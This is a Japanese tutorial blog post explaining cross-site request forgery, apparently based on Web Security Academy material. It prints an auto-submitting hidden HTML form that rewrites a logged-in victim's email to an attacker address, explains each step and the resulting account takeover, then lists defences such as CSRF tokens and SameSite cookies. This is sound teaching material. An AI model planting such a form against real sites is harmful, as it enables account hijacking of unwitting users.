Shikata Ga Nai

Private? There is no such things.

CSRFの仕組み（実行例）：自動送信フォームによるアカウント操作の乗っ取り

Web Security Academy CSRF

Hello there, ('ω')ノ

✅ 攻撃者が構築するHTMLページの実例

以下は、攻撃者がCSRFを実行するために作成する典型的なHTMLコードです：

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

🎯 このコードの動作内容（ステップごとに解説）

1️⃣ フォームの構築

<form action="https://vulnerable-website.com/email/change" method="POST">
  • このフォームは脆弱なWebサイトに向けてPOSTリクエストを送信する設定です。

2️⃣ 隠しフィールドに攻撃用データを埋め込む

<input type="hidden" name="email" value="pwned@evil-user.net" />
  • 通常のフォーム入力画面の代わりに、攻撃者は自分のメールアドレスを隠しフィールドに埋め込むことで、 被害者のメールアドレスを勝手に自分のものに書き換えるリクエストを作っています。

3️⃣ 自動送信スクリプトで即時実行

<script>
    document.forms[0].submit();
</script>
  • ページが読み込まれた瞬間にフォームが自動送信されます。 被害者は一切の操作なしにリクエストを実行してしまうという構図です。

🔥 結果として起きること

  1. 被害者がログイン中の状態でこのHTMLを開く（例：メールやSNSのリンク）
  2. セッションCookieが自動でリクエストに付与される
  3. サーバーは被害者の本人操作と判断し、メールアドレスを変更
  4. 攻撃者がメールリセット機能を使ってアカウントを乗っ取り

✅ まとめ：CSRFはシンプルなHTMLだけで重大被害を引き起こす

  • JavaScriptやXSSを使わず、基本的なHTMLとフォームだけで攻撃が成立
  • 対策がないと1クリックどころかノークリックでアカウントが乗っ取られる

🛡️ このような攻撃を防ぐには？

対策 効果
CSRFトークン 攻撃者がフォームに含められない「一意の秘密値」を検証
SameSite Cookie属性 外部ドメインからのCookie付きリクエストをブロック
メールアドレス変更に再認証を要求 パスワード入力でCSRF防止
Referer/Originヘッダーの検証 内部ページからの正当な送信か確認可能

このようなフォーム送信型のCSRFは、初学者でも構築できるほど簡単でありながら、被害は深刻です。 だからこそ、すべてのPOSTリクエストにはCSRF対策が必須です。

Best regards, (^^ゞ